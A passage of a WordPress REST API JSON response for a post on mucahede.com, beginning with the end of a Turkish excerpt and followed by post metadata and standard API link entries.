tak\u0131n\u0131lacak tavr\u0131n bir din oldu\u011funu bildirmektedir<\/p>\n","protected":false},"author":2,"featured_media":1834,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[9],"tags":[],"_links":{"self":[{"href":"https:\/\/mucahede.com\/wp-json\/wp\/v2\/posts\/1603"}],"collection":[{"href":"https:\/\/mucahede.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/mucahede.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/mucahede.com\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/mucahede.com\/wp-json\/wp\/v2\/comments?post=1603"}],"version-history":[{"count":0,"href":"https:\/\/mucahede.com\/wp-json\/wp\/v2\/posts\/1603\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/mucahede.com\/wp-json\/wp\/v2\/media\/1834"}],"wp:attachment":[{"href":"https:\/\/mucahede.com\/wp-json\/wp\/v2\/media?parent=1603"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/mucahede.com\/wp-json\/wp\/v2\/categories?post=1603"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/mucahede.com\/wp-json\/wp\/v2\/tags?post=1603"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}